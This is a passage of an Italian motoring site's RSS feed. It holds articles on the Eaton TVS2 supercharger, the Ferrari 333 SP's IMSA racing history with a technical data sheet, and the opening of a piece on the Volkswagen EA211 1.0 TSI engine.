<p style="text-align: justify;">Uno dei produttori leader mondiali su questo tipo di sistemi è la EATON. Nel loro catalogo c&#8217;è una vasta gamma di compressori volumetrici, il più evoluto dei quali è il modello TVS2. L&#8217;acronimo sta per Twin Vortices Serie versione 2.</p>
<p style="text-align: justify;">Si tratta di un compressore tipo Roots con quattro lobi ed altrettante porte di ingresso ed uscita del flusso aria. Il nuovo design del rotore assicura maggiore efficienza e capacita, grazie ad un attento studio dell&#8217;aerodinamica interna.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-85063" src="https://www.giornalemotori.com/wp-content/uploads//2019/08/eatontvs-1.jpg" alt="eatontvs 1" width="318" height="256" title="Le tecnologie che aiutano il motore endotermico a sopravvivere: La sovralimentazione volumetrica 787" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/08/eatontvs-1.jpg 318w, https://www.giornalemotori.com/wp-content/uploads/2019/08/eatontvs-1-300x242.jpg 300w" sizes="(max-width: 318px) 100vw, 318px" /></p>
<p style="text-align: justify;">Nello specifico il nuovo disegno ricuce il gioco tra le sue parti del rotore abbassando le perdite per attrito. Maggiore efficienza significa stessa potenza con minore esborso di carburante. La vera forza del TVS2 sta nella possibilità di avere portata variabile della pressione necessaria a seconda delle necessità di utilizzo del motore endotermico.</p>
<p style="text-align: justify;">I tecnici EATON dichirarano un miglioramento dell&#8217;efficienza fino al 16% con uno sforzo minore da parte del motore per trascinare il compressore attraverso il collegamento meccanico.</p>
<p style="text-align: justify;">Il TVS2 nella migliora la capacità del flusso aria in condizioni critiche come la bassa velocità di oltre il 30% con conseguente miglioramento della disponibilità di coppia a basso regime e carichi parziali. Inoltre una minore inerzia per minori attriti, consente una risposta più rapida. In soldoni l&#8217;utente può contare su una migliore risposta alla pressione sull&#8217;acceleratore.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-85066" src="https://www.giornalemotori.com/wp-content/uploads//2019/08/eatontvs.jpg" alt="eatontvs" width="800" height="679" title="Le tecnologie che aiutano il motore endotermico a sopravvivere: La sovralimentazione volumetrica 788" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/08/eatontvs.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2019/08/eatontvs-768x652.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2019/08/eatontvs-300x255.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2019/08/eatontvs-696x591.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p style="text-align: justify;">Questo compressore infatti è più leggero con dimensioni ridotte del 25% rispetto alla serie precedente, rendendolo adatto per motori di piccola cilindrata.  IL TVS2 si adatta perfettamente a lavorare abbinandosi ai sistema turbo. A dire il vero non è una novità assoluta. Questa soluzione era già in uso con estrema maestria dal reparto Lancia negli anni 80 per la Delta S4 e più recentemente anche dal gruppo Volkswagen.</p>
<p style="text-align: justify;">In questo caso l&#8217;azione congiunta delli due sistemi di sovralimentazione sono maggiormente efficienti, con maggiore margini di miglioramento per i progettisti.</p>
<p style="text-align: justify;">L&#8217;adozione di nuove tenute permettono di avere maggiore affidabilità e maggiore controllo della pressione in condizioni di lavoro difficili. Inoltre, per sopportare pressioni più elevate rispetto allo standard di questo tipo di sistemi, vengono usati cuscinetti a sfera.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-85067" src="https://www.giornalemotori.com/wp-content/uploads//2019/08/eaton_tvs_r410_vs_tvs2_v400_36b8e0a713340f1218bd4300db0a2eff2715181e-1024x687.png" alt="eaton tvs r410 vs tvs2 v400 36b8e0a713340f1218bd4300db0a2eff2715181e" width="1024" height="687" title="Le tecnologie che aiutano il motore endotermico a sopravvivere: La sovralimentazione volumetrica 789" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/08/eaton_tvs_r410_vs_tvs2_v400_36b8e0a713340f1218bd4300db0a2eff2715181e-1024x687.png 1024w, https://www.giornalemotori.com/wp-content/uploads/2019/08/eaton_tvs_r410_vs_tvs2_v400_36b8e0a713340f1218bd4300db0a2eff2715181e-768x515.png 768w, https://www.giornalemotori.com/wp-content/uploads/2019/08/eaton_tvs_r410_vs_tvs2_v400_36b8e0a713340f1218bd4300db0a2eff2715181e-300x201.png 300w, https://www.giornalemotori.com/wp-content/uploads/2019/08/eaton_tvs_r410_vs_tvs2_v400_36b8e0a713340f1218bd4300db0a2eff2715181e-696x467.png 696w, https://www.giornalemotori.com/wp-content/uploads/2019/08/eaton_tvs_r410_vs_tvs2_v400_36b8e0a713340f1218bd4300db0a2eff2715181e.png 1300w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">L&#8217;utilizzo di questo tipo di coscinetti permette di raggiungere un numero di giri nelle condizioni di picco anche di 30000 giri/min. Un incremento del 25% rispetto alle versioni volumetriche standard.</p>
<p style="text-align: justify;">La progettazione del sistema TVS2 ha visto impegnati i tecnici EATON nella riduzione delle vibrazioni e della rumorosità, che per quanto sia affascinante ma rappresentano perdite di rendimento. L&#8217;utilizzo di pannelli microforati ha permesso di ridurre il rumore di ben 8dB senza influire sul livello e la qualità della pressione del flusso aria.</p>
<p style="text-align: justify;">La EATON ha sviluppato un  insieme di componenti che lavorando in simbiosi con il TVS2  In particolare la progettazione delle valvole concepite per resistere alle diverse condizioni di lavoro gravose, anche con l&#8217;uso di materiali particolarmente evoluti, con una riduzione del peso nell&#8217;ordine del 15%.</p>
<p style="text-align: justify;">Gli stessi azionamenti delle valvole possono gestire sistemi di alzata variabile, fino alla disattivazione di un numero di cilindri per limitare i consumi. Quindi è possibile fornire non solo il compressore, ma anche l&#8217;interso sistema di alimentazione e distribuzione.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Ferrari 333SP: la barchetta del Cavallino alla conquista dell&#8217;America</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Tue, 23 Jul 2019 16:31:28 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[ferrari 333sp]]></category>
		<category><![CDATA[IMSA]]></category>
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					<description><![CDATA[<p>Tutte le Ferrari toccano il cuore di chi ama le grandi auto, ma quelle da corsa hanno qualcosa in più. Una grinta, un fascino diversi, come è naturale per vetture realizzate da una Casa nata dalle competizioni e che non ha mai abbandonato le piste, neppure nei momenti più difficili. Ecco perché, di fronte alla [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Tutte le Ferrari toccano il cuore di chi ama le grandi auto, ma quelle da corsa hanno qualcosa in più. Una grinta, un fascino diversi, come è naturale per vetture realizzate da una Casa nata dalle competizioni e che non ha mai abbandonato le piste, neppure nei momenti più difficili. Ecco perché, di fronte alla 333 SP, i tifosi ferraristi provano emozioni quali quelle suscitate dalle gesta delle più gloriose Rosse del passato.</p>
<p>La 333 SP ha il fascino delle grandi Ferrari storiche. Del resto, le Ferrari da corsa più Ferrari di tutte sono quelle a ruote coperte: la Barchetta degli anni 50, le Sport degli anni 60, i Prototipi degli anni 70. In seguito, la Casa di Maranello ha un pò trascurato queste vetture: dopo l’epopea della 312, che nel corso del 1972 stravinse il Campionato Mondiale Marche, viene infatti deciso di concentrare gli sforzi sulle monoposto di Formula 1, abbandonando la categoria che aveva dato tante soddisfazioni nei primi anni di attività. Negli anni seguenti nascono alcune versioni “competizione” di vetture come la 512 BB e la 308, ma sono sempre modelli stradali trasformati. E la stessa F40 Le Mans, la splendida vettura preparata su base della più formidabile Ferrari degli ultimi anni, rimane comunque una specie di “ibrido”, una via di mezzo tra una Gran Turismo e una vera Sport.</p>
<p>Poi, nel 1993, il cambio di rotta. All’interno del Campionato IMSA viene creata la categoria WSC (World Sport Car). Carrozzeria biposto aperta, motore derivato dalla serie, fondo piatto, poca elettronica e limitato uso di materiali speciali: sono queste le regole stabilite per le World Sport Car. Insomma, l’ideale per i team privati, che non possono avere i mezzi delle grandi case per sviluppare progetti specifici. E subito numerosi privati iniziano a tempestare di telefonate Maranello, chiedendo che la Ferrari realizzi qualcosa di adatto, come accadeva negli anni 50 e 60. Il più insistente è sicuramente Gianpietro Moretti che con il suo team Momo è una presenza abituale sulle piste americane. Il suo entusiasmo, al limite della fede più cieca, e quello degli altri appassionati viene premiato. La Ferrari decide di ritornare al vecchio amore , le vetture a ruote coperte, e realizza una World Sport Car.</p>
<p>Mauro Rioli, il massimo esperto di vetture Sport in attività nei primi anni 90, riceve l’incarico di progettare una vettura senza compromessi, destinata solo ai team privati (la Ferrari  non schiererà mai una vettura ufficiale), ma con l’impegno semiufficiale della Ferrari a preparare le vetture e a fornire  l’assistenza: sarà venduta al prezzo di 800000 dollari, compresa una nutrita serie di ricambi e un intero motore di scorta. Nel giro di pochi mesi la 333 SP prende forma.</p>
<p>Il telaio è costituito da una scocca portante in composito formato da una struttura a nido d’ape in alluminio chiusa da due fogli di fibra di carbonio: è in pratica la stessa soluzione in uso  nelle vetture di Maranello, dalle quali la 333 SP eredita parecchie cose. Le sospensioni per esempio sono a quadrilatero deformabili, sia davanti che dietro, con push-rod e bilanceri. L’impianto frenante è di produzione Brembo, con dischi giganteschi che trovano posto dietro i cerchi da 17”. La carrozzeria, caratterizzata da un disegno aerodinamico di rara efficacia e bellezza, è costituita da pannelli in Nomex e fibra di carbonio, fissati con un sistema a sgancio rapido per facilitare l’accesso agli organi meccanici, in primis al formidabile propulsore. Come da regolamenti IMSA, la 333 SP monta un motore derivato da quello di una vettura stradale in produzione: in questo caso si tratta della F50.</p>
<p>L’analogia con l’attuale supercar al vertice della gamma Ferrari in realtà è limitata all’angolo tra le bancate, insolitamente i 65°, perché il resto del 12 cilindri di 3997 cm3, con distribuzione bialbero in testa e 5 valvole in titanio per cilindro, è derivato dal motore montato sulla Formula 1 del 1993. La potenza dichiarata è di oltre 600 cavalli a 11000 giri minuto, un regime di tutto riposo considerando che in versione F1, questo motore può essere tirato sino a 16000 giri al minuto. Per consentire la massima rapidità nei cambi di marcia, viene adottato un robusto cambio trasversale a 5 marce, con comando meccanico di tipo sequenziale.</p>
<p>La prima vettura prodotta viene assegnata a Gianpiero Moretti, quale premio per la sua fede. Una scelta azzeccata, perché la sua lunga esperienza sarà preziosa per eliminare i difetti di gioventù e accelerare la messa a punto. Una serie di piccoli problemi comunque ritarda il debutto dell’auto in gara, che avviene solo a metà stagione 1994.</p>
<p>Cosi il 17 aprile sono ben quattro le Ferrari 333 SP al debutto nella serie: una della Momo corse team (piloti Gianpiero Moretti ed Eliseo Salazar), due del team Euromotorsport (la prima affidata a Cochran, la seconda, acquistata da Massimo Sigala, con al volante Mauro Baldi), una del team Scandia (Andy Evans  Bentley). Tra queste era quella del signor Momo il vero punto di riferimento. Mauro Baldi ottiene il miglior tempo nella prove della Road Atlanta, gara d’esordio della rossa, con una vettura che si rivela da subito azzeccata. Ma il vero trionfo arriva in gara: sulla 333 SP che taglia il traguardo per prima c’è un giovane pilota di New York, Jay Cochran, che precede proprio Gianpiero Moretti.</p>
<p>Il 1994 è l’anno più ricco di soddisfazioni per Jay, che centra la prima vittoria della 333 SP nell’IMSA: fino a quel momento Cochran si era fatto vedere solo alla 24 Ore di Daytona, collezionando alcune discrete prestazioni con la Spice-Oldsmobile. Negli anni successivi si ritaglia una discreta carriera con le GT e nelle gare di durata, ma verrà ricordato soprattutto per il successo alla Road Atlanta e le battaglie con le altre Ferrari 333 SP di altre scuderie. Jay sfiora il successo in altre circostanze, ma quello del 17 aprile resterà l’unico successo con la Ferrari.</p>
<p>Dopo il successo al debutto di Road Atlanta, la 333 SP centra il bis alla 2 Ore di Lime Rock. E stavolta è Gianpiero Moretti, uno dei più conosciuti gentleman driver di Maranello. Il milanese si aggiudica la gara in coppia col cileno Salazar: passato al comando a 40’ dal termine, favorito da un rifornimento lento da parte di Cochran, a lungo al comando. Sfortunato Baldi, fermato dalla rottura del cavo dell’acceleratore. La coppia italo-cilena si ripete a Watkins Glen, mentre le altre 333 SP sono costrette al ritiro. Stessa musica in un’altra gara sprint, la 2 Ore di Indianapolis, ma stavolta Moretti-Salazar chiudono davanti a Evans-Velez. La doppietta Ferrari viene arricchita dal terzo posto della Spice del Dyson, guidata da Weaver e Paul, spinta da un motore del Cavallino. La Ferrari cala il poker sulla pista californiana di Laguna Seca, che oggi ospita la MotoGP e nell’occasione è teatro della settima prova del Campionato IMSA. Dopo 3 successi consecutivi, l’equipaggio Moretti-Salazar si deve accontentare della piazza d’onore alle spalle di Evans-Velez, ma il bilancio Ferrari sale a 5 vittorie su 5 gare disputate.</p>
<p>Ma la beffa è in agguato: un incredibile malinteso durante l’ultima gara della stagione a Phoenix priva la Ferrari del titola marche IMSA. La 333 SP di Cochran è costretta al ritiro da una collisione con la vettura gemella di Salazar quando era saldamente al comando. Il cileno riesce invece a continuare e centra un inutile podio dietro alla Spice Oldmobile di Dale, che regala il titolo alla Casa Americana. Sfortunata anche la terza 333 SP di Evans-Velez che, dopo essere balzata al comando, è tradita da un problema all’impianto elettrico. I buoni riscontri ottenuti durante la stagione di esordio (5 successi su 7 gare disputate e un titolo marche sfiorato) spingono la Ferrari a presentarsi nel 1995 anche alle partenze delle gare di durata, vere classiche dell’automobilismo come la 24 Ore di Daytona  e la 12 Ore di Sebring. E l’anno parte subito con un grande ritorno sulla rossa.</p>
<p>E’ quello di Michele Alboreto, che correrà a Daytona insieme a Baldi, e all’altro ex di F1 Stefan Johanson al volante della 333 SP evoluzione del team Scandia, la scuderia di proprietà di Andy Evans, che guiderà l’altra 333 SP con Velez. L’altra grande novità è che le Ferrari a Daytona utilizzeranno pneumatici Pirelli: per la marca milanese si tratta di un ritorno alle grandi corse di velocità, dopo l’abbandono della F1. Nei test in preparazione alla 24 Ore, la vettura di Maranello offre buone risposte e la pole postion è firmata proprio da Mauro Baldi, davanti all’altra 333 SP di Velez.</p>
<p>Ma la gara, che vede al via anche Paul Newman, non da seguito alle concrete speranze della vigilia, con tre delle quattro Ferrari al via ritirate mentre erano in testa e l’unica al traguardo, quella di Barbazza-Sigala-Brancatelli, solo ottava. Le vetture di Maranello nella circostanza non dimostrano l’affidabilità necessaria per una corsa cosi lunga e la vittoria va alla Porsche di Giovanni Lavaggi. Il riscatto arriva però subito alla 12 Ore di Sebring, con Evans-Velez-Van de Poele-Gentilozzi, mentre Michele Alboreto c’è un quarto posto senza la collaborazione di Baldi, rientrato in Italia per la morte del padre. La stagione prosegue con la Road Atlanta, ricordato soprattutto per il grave incidente a Fabrizio Barbazza, che per fortuna si riprenderà ma dovrà lasciare le corse.</p>
<p>La 333 SP, condotta da Taylor, torna irresistibile a Lime Rock dopo un duello con James Weaver (Ford), che si riscatta a Watkins Glen battendo Baldi e Velez. Stesso ordine d’arrivo a Sears Point, con Velez che prende il comando della classifica piloti e il Cavallino che consolida il primato in quello marche. La rossa torna a vincere a Houston con Gianpiero Moretti e Wayne Taylor, che precedono Alboreto-Theys. La certezza aritmetica del titolo costruttori arriva alla penultima gara di Phoenix, vinta da Firmin-Velez, mentre la classifica piloti si decide all’ultimo appuntamento di New Orleans.</p>
<p>Con il quarto posto finale si impone Firmin-Velez, che rende inutile il successo del più insidioso dei rivali Weaver. Sfortunato Mauro Baldi che, dopo una pessima sessione di qualifica si produce in una strepitosa  ma inutile rimonta. Il 1995, altra stagione memorabile, lascia solo un piccolo rimpianto, relativo alla 24 Ore di Daytona. La decisione di proseguire nell’impegno americano per il 1996 arriva solo a settembre, ma prima di Daytona fanno ben sperare le due 333 SP, una della Momo di Moretti, che centra anche la pole position in coppia con Didier Theys, l’altra della Scandia di Andy Evans, con piloti Alboreto-Baldi-Velez. I progressi sono evidenti, ma la Ferrari deve accontentarsi della piazza d’onore con Moretti, Theys, Wollek. La Riley Mk II di Taylor-Pace-Van de Poele vince anche a Sebring: battute le Ferrari di Alboreto-Bladi-Theys e Moretti-Papis-Theys, che finiscono sul podio.</p>
<p>Il primo successo 1996 della barchetta Ferrari nel campionato arriva alla terza prova, la 3 Ore di Road Atlanta. Artefice della vittoria Max Papis, che, subentrato al volante a Gianpiero Moretti, è protagonista di una brillante rimonta che lo porta al comando. Papis taglia il traguardo davanti alle Riley Scott di  Pace e Taylor. Le rosse finiscono fuori dal podio alla 500 miglia di Texas World, ma la coppia Moretti-Papis torna a fare la voce grossa con una doppietta a Lime Rock e Watkins Geln dopo un’entusiasmante rimonta in seguito a una uscita di pista. Con questa vittoria Papis appaia Taylor al vertice della classifica piloti con 164 punti mentre la Ferrari guida quella costruttori sulla Oldsmobile. A Sears Point il giovane comasco da un altro saggio del suo talento: quando nel finale prende il posto di Moretti, ha un giro di distacco ma arriva ad impegnare il vincitore Taylor in una serie di sorpassi che alla fine premia l’americano. Papis è ancora secondo a Mosport, ma a Dallas arriva una vera mazzata per le sue ambizioni e quelle della Casa di Maranello. Salazar, in testo fino a 15 minuti dalla fine, prima rompe un cerchione, poi, in rimonta, sbatte chiudendo quarto. Va ancora peggio a Papis, che non scende neppure in pista: la sua 333 SP, guidata da Theys, si ferma dopo due giri col differenziale ko. Cosi Taylor (Riley Scott), 2° dietro a Leitzinger, ha il titolo in tasca. Maranello resta in corsa solo per il campionato marche dove guida la Oldsmobile. All’ultimo appuntamento, la 3 Ore di Daytona, la Ferrari schiera tre 333 SP, ma la pista della Florida si conferma stregata: vince Leitzinger (Riley Scott) e al Cavallino non bastano neppure il 2°, 4° e 5° posto conquistati per bissare il successo tra i costruttori.</p>
<p>Nel 1997 la Ferrari vorrebbe ancora sfatare il tabù di Daytona, ma per il secondo anno consecutivo la rossa deve arrendersi, tradita dagli errori del commerciante di computer Morgan, inserito in squadra dal patron Evans, che finisce per due volte in testacoda. Decisamente più fortunata si conferma Sebring, con la splendida vittoria nella 12 Ore. Gran rimonta della 333 SP in una corsa in cui il leader cambia 22 volte: vincono Evans, Velez, Dalams e Johanson. La gara si decide all’ultimo giro: battuta la Riley Scott motorizzata Ford. Una collisione elimina l’altra 333 SP di Moretti e Montermini, neo acquisto della serie che sarà terzo alla Road Atlanta e coglierà il suo primo successo nella serie a Lime Rock col brasiliano Antonio Hermann sulla vettura del team Momo. La rossa di Salazar-Morgan è battuta dalla solita Riley a Watkins Glen. Per tornare al successo la 333 SP deve attendere la gara di Mosport, con la coppia Morgan-Fellows prima al traguardo e Montermini ritirato. Il pilota di Sassuolo rimette il Cavallino in corsa per il titolo dopo il trionfo della 2 Ore di Pikes Peak e la doppietta nella 2 Ore di Sebring. Decisivo per questo verdetto l’ultimo appuntamento di Laguna Seca, che purtroppo si rivela amaro. Sostituito Hermann alla guida della 333 SP del team Momo, Montermini si produce nella solita rimonta ma conclude 2° alle spalle dei diretti rivali Leitzinger e Paul jr, il cui successo, assieme al 3° posto di Taylor-Van De Poele, premia la Riley Scott-Ford con il titolo.</p>
<p>Nel 1998, ultima stagione IMSA, denominata però Sport Car Gran Prix, il calendario si restringe e dalla serie spariscono appuntamenti di prestigio come Daytona e Watkins Glen. Il destino volle che proprio in quell’anno la Ferrari torni al successo in Florida nella mitica 24 Ore con Moretti, Thyes e Luyendyck. Sebring, gara di avvio della stagione IMSA, si conferma feudo Ferrari con Theys, Baldi e Moretti, che si ripete a Watkins Glen. Taylor e Van de Poele colgono alcuni successi importanti nella serie, concludendola rispettivamente al 2° e 3° posto dietro al vincitore Leitzinger (Riley Scott-Ford), mentre la 333 SP coglie l’ultimo alloro con il titolo costruttori. Si conclude cosi un’avventura che ha dato molto al Cavallino sul piano delle vittorie in pista, ma ancora di più su quello commerciale e dell’immagine.</p>
<h3><strong>SCHEDA TECNICA</strong></h3>
<div class="accordion-group">
<div id="collapse0_3076" class="accordion-body collapse in ">
<div class="accordion-inner">
<table class="table table-striped">
<tbody>
<tr>
<td>Motore</td>
<td>posteriore, longitudinale, 12V 65°</td>
</tr>
<tr>
<td>Alesaggio e corsa</td>
<td>85 x 58,7 mm</td>
</tr>
<tr>
<td>Cilindrata unitaria</td>
<td>333,09 cm3</td>
</tr>
<tr>
<td>Cilindrata totale</td>
<td>3997,11 cm3</td>
</tr>
<tr>
<td>Rapporto di compressione</td>
<td>13:1</td>
</tr>
<tr>
<td>Potenza massima</td>
<td>478 kW (650 CV) a 11.000 giri/min</td>
</tr>
<tr>
<td>Potenza specifica</td>
<td>163 CV/l</td>
</tr>
<tr>
<td>Coppia massima</td>
<td>441 Nm (45 kgm) a 9000 giri/min</td>
</tr>
<tr>
<td>Distribuzione</td>
<td>bialbero, 5 valvole per cilindro</td>
</tr>
<tr>
<td>Alimentazione</td>
<td>iniezione elettronica Weber-Marelli</td>
</tr>
<tr>
<td>Accensione</td>
<td>mono, elettronica</td>
</tr>
<tr>
<td>Lubrificazione</td>
<td>carter secco</td>
</tr>
<tr>
<td>Frizione</td>
<td>multidisco</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="accordion-group">
<div></div>
<div class="accordion-heading"><strong>AUTOTELAIO</strong> <i class="icon"></i></div>
<div id="collapse1_3076" class="accordion-body in collapse">
<div class="accordion-inner">
<table class="table table-striped">
<tbody>
<tr>
<td>Telaio</td>
<td>in composito di fibra di carbonio e nido d’ape in alluminio</td>
</tr>
<tr>
<td>Sospensioni anteriori</td>
<td>indipendenti, quadrilateri trasversali, push-rod, molle elicoidali coassiali con gli ammortizzatori telescopici, barra stabilizzatrice</td>
</tr>
<tr>
<td>Sospensioni posteriori</td>
<td>indipendenti, triangoli trasversali, push-rod, molle elicoidali coassiali con gli ammortizzatori telescopici, barra stabilizzatrice</td>
</tr>
<tr>
<td>Freni</td>
<td>a disco</td>
</tr>
<tr>
<td>Cambio</td>
<td>5 rapporti + RM, sequenziale</td>
</tr>
<tr>
<td>Sterzo</td>
<td>pignone e cremagliera</td>
</tr>
<tr>
<td>Serbatoio carburante</td>
<td>capacità 70 o 100 l</td>
</tr>
<tr>
<td>Pneumatici anteriori</td>
<td>25-11,5-17</td>
</tr>
<tr>
<td>Pneumatici posteriori</td>
<td>27,5-14,5-17</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="accordion-group">
<div></div>
<div class="accordion-heading"><strong>CARROZZERIA</strong> <i class="icon"></i></div>
<div id="collapse2_3076" class="accordion-body in collapse">
<div class="accordion-inner">
<table class="table table-striped">
<tbody>
<tr>
<td>Tipo di carrozzeria</td>
<td>spider, 2 posti</td>
</tr>
<tr>
<td>Lunghezza</td>
<td>4569 mm</td>
</tr>
<tr>
<td>Larghezza</td>
<td>2000 mm</td>
</tr>
<tr>
<td>Altezza</td>
<td>1025 mm</td>
</tr>
<tr>
<td>Passo</td>
<td>2740 mm</td>
</tr>
<tr>
<td>Carreggiata anteriore</td>
<td>1660 mm</td>
</tr>
<tr>
<td>Carreggiata posteriore</td>
<td>1572 mm</td>
</tr>
<tr>
<td>Peso</td>
<td>860 kg a vuoto</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="accordion-group">
<div></div>
<div class="accordion-heading"><strong>PRESTAZIONI</strong> <i class="icon"></i></div>
<div id="collapse3_3076" class="accordion-body in collapse">
<div class="accordion-inner">
<table class="table table-striped">
<tbody>
<tr>
<td>Velocità massima</td>
<td>368 km/h</td>
</tr>
<tr>
<td>Accelerazione 0-100 km/h</td>
<td>3,3 s</td>
</tr>
<tr>
<td>0-400 m</td>
<td>&#8211;</td>
</tr>
<tr>
<td>0-1000 m</td>
<td>&#8211;</td>
</tr>
</tbody>
</table>
<p>[AFG_gallery id=&#8217;6&#8242;]</p>
<p>Foto copertina: Mazzocco Alessio</p>
<p>Fotogallery: <a href="https://rmsothebys.com" target="_blank" rel="noopener">https://rmsothebys.com</a></p>
</div>
</div>
</div>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2019/07/23/ferrari-333sp-la-barchetta-del-cavallino-alla-conquista-dellamerica/">Ferrari 333SP: la barchetta del Cavallino alla conquista dell&#8217;America</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.giornalemotori.com/2019/07/23/ferrari-333sp-la-barchetta-del-cavallino-alla-conquista-dellamerica/feed/</wfw:commentRss>
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			</item>
		<item>
		<title>Best Engine: Motore Volkswagen EA211 1.0 Litri TSI, tre cilindri.</title>
		<link>https://www.giornalemotori.com/2019/03/02/best-engine-motore-volkswagen-ea211-1-0-litri-tsi-tre-cilindri/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-engine-motore-volkswagen-ea211-1-0-litri-tsi-tre-cilindri</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 02 Mar 2019 14:47:04 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<guid isPermaLink="false">https://www.giornalemotori.com/?p=81386</guid>

					<description><![CDATA[<p>la Volkswagen si è ricordata di essere un colosso della meccanica ed ha preso il suo EA211 ricavando un eccellente motore tre cilindri 1.0 litri TSI che riesce a dare pan per focaccia al motore Ford che per inciso resta ancora uno dei migliori della sua categoria.  Un propulsore talmente versatile per potenza ed erogazione  da potersi adattare facilmente a tutta la gamma Volswagen oltre che ai marchi che fanno parte del gruppo, andattandosi alle citycar, come le utilitarie fino ai SUV di una certa stazza senza sfigurare.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2019/03/02/best-engine-motore-volkswagen-ea211-1-0-litri-tsi-tre-cilindri/">Best Engine: Motore Volkswagen EA211 1.0 Litri TSI, tre cilindri.</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Vincere non è così difficile, ma come amava dire il Vecchio Ferrari il problema è restare al vertice. Il motore Ford 1.0 Litri EcoBoost già oggetto della nostra rubrica è stato per anni il piccolo motore sotto i 1000cc più apprezzato del mercato. Poi la Volkswagen si è ricordata di essere un colosso della meccanica ed ha preso il suo EA211 ricavando un eccellente motore tre cilindri 1.0 litri TSI che riesce a dare pan per focaccia al motore Ford che per inciso resta ancora uno dei migliori della sua categoria.&nbsp; Un propulsore talmente versatile per potenza ed erogazione&nbsp; da potersi adattare facilmente a tutta la gamma Volswagen oltre che ai marchi che fanno parte del gruppo, andattandosi alle citycar, come le utilitarie fino ai SUV di una certa stazza senza sfigurare.</p>



<p class="wp-block-paragraph">Il propulsore EA211 1.0 Litri TSI è un&nbsp; tre cilindri in linea con alesaggio di 74,5mm per una corsa di 76,4mm per una cilindrata complessiva di 999cc, con un rapporto di compressione piuttosto alto di 10.5:1. Il monoblocco è in alluminio pressofuso open deck e camice ricavate in ghisa. L&#8217;albero motore è in acciaio forgiato con le dimensioni dei supporti di banco con dimensioni diverse da quelle dei perni di manovella. I primi da 45mm mentre i secondi da 47,1mm con lo scopo di ridurre le vibrazioni tipiche del motore a tre cilindri. Le bielle sono realizzate mediante forgiatura con pistoni in alluminio, inoltre è previsto un volano appisitamente progettato per questo propulsore. Un lavoro di ottimizzazione dei componenti che ha consentito ai progettisti tedeschi di avere la presunzione di limitare le vibrazioni senza utilizzare contralberi di equilibratura.</p>



<p class="wp-block-paragraph">Come il suo papà l&#8217;AE211 TSI 1.4 litri, questo piccolo tre cilindri eredita una testa in alluminio con collettore di scarico integrato. Lo scopo è quello di avere un migliore riscaldamento del propulsore, molto utile per limitare le emissioni inquinanti, ed una migliore efficienza nel fornire energia alla Turbina. Il propulsore ha quattro valvole per cilindro, azionate tramite due alberi a camme in testa con azionamento con bilancieri con rullo a dit con gioco delle valvole recuperato idraulicamente. La distribuzione avviene mediante cinghia dentata, con variatore di fase sia all&#8217;aspirazione che allo scarico. Per limitare al massimo l&#8217;assorbimento negativo di energia, il propulsore ha una pompa dell&#8217;olio a portata variabile in base al carico del motore, al numero di giri, ed alla temperatura dell&#8217;olio, con la pressione che arriva al suo massimo di 3,3 Bar. L&#8217;iniezione e di tipo diretto con pressione che ha un range di utilizzo da 120 a 250 bar con iniettori dotati di 5 fori per una iniezione che consente una nebulizzazione maggiore del carburante. Il collettore di aspirazione è ottenuto in materiale plastico.</p>



<p class="wp-block-paragraph">Da considerare che i tecnici tedeschi non hanno lesinato sull&#8217;utilizzo degli strumenti di controllo del motore, come sensori che sono prelevati direttamente da motori di cubatura e costi maggiori. Un dettaglio che rende il motore più moderno e rispondente alle esigenze di prestazioni, consumi ridotti e contenimento delle emissioni, ma con un aggravio per il cliente che si trova ad avere a che fare con elemento dal costo superiore alla categoria di auto&nbsp; che si è scelta come potrebbe essere una citycar come la Up! o una utilitaria come la Polo. La tecnologia TSI, significa Turbocharged Stratified Injection,&nbsp; quindi non può mancare un turbocompressore soprattutto come elemento che serve per abbassare le emissione tenendo le prestazioni in linea con le esigenze della clientela. A parte l&#8217;ottimizzazione della turbina, quest&#8217;ultima ha la valvola waste-gare gestita elettronicamente, ed è raffreddata dallo stesso liquido che raffredda il motore, oltre che l&#8217;olio nella classica maniera. Anche il sistema di raffreddamento utilizza un doppio circuito abilitato a seconda delle esigenze da una valvola gestita elettronicamente.</p>


<div class="wp-block-image">
<figure class="alignleft"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2019/03/Engine-Charakteristics-NEW.JPG-1260x1440.jpg" alt="Engine Charakteristics NEW.JPG" class="wp-image-81391" title="Best Engine: Motore Volkswagen EA211 1.0 Litri TSI, tre cilindri. 790"></figure>
</div>


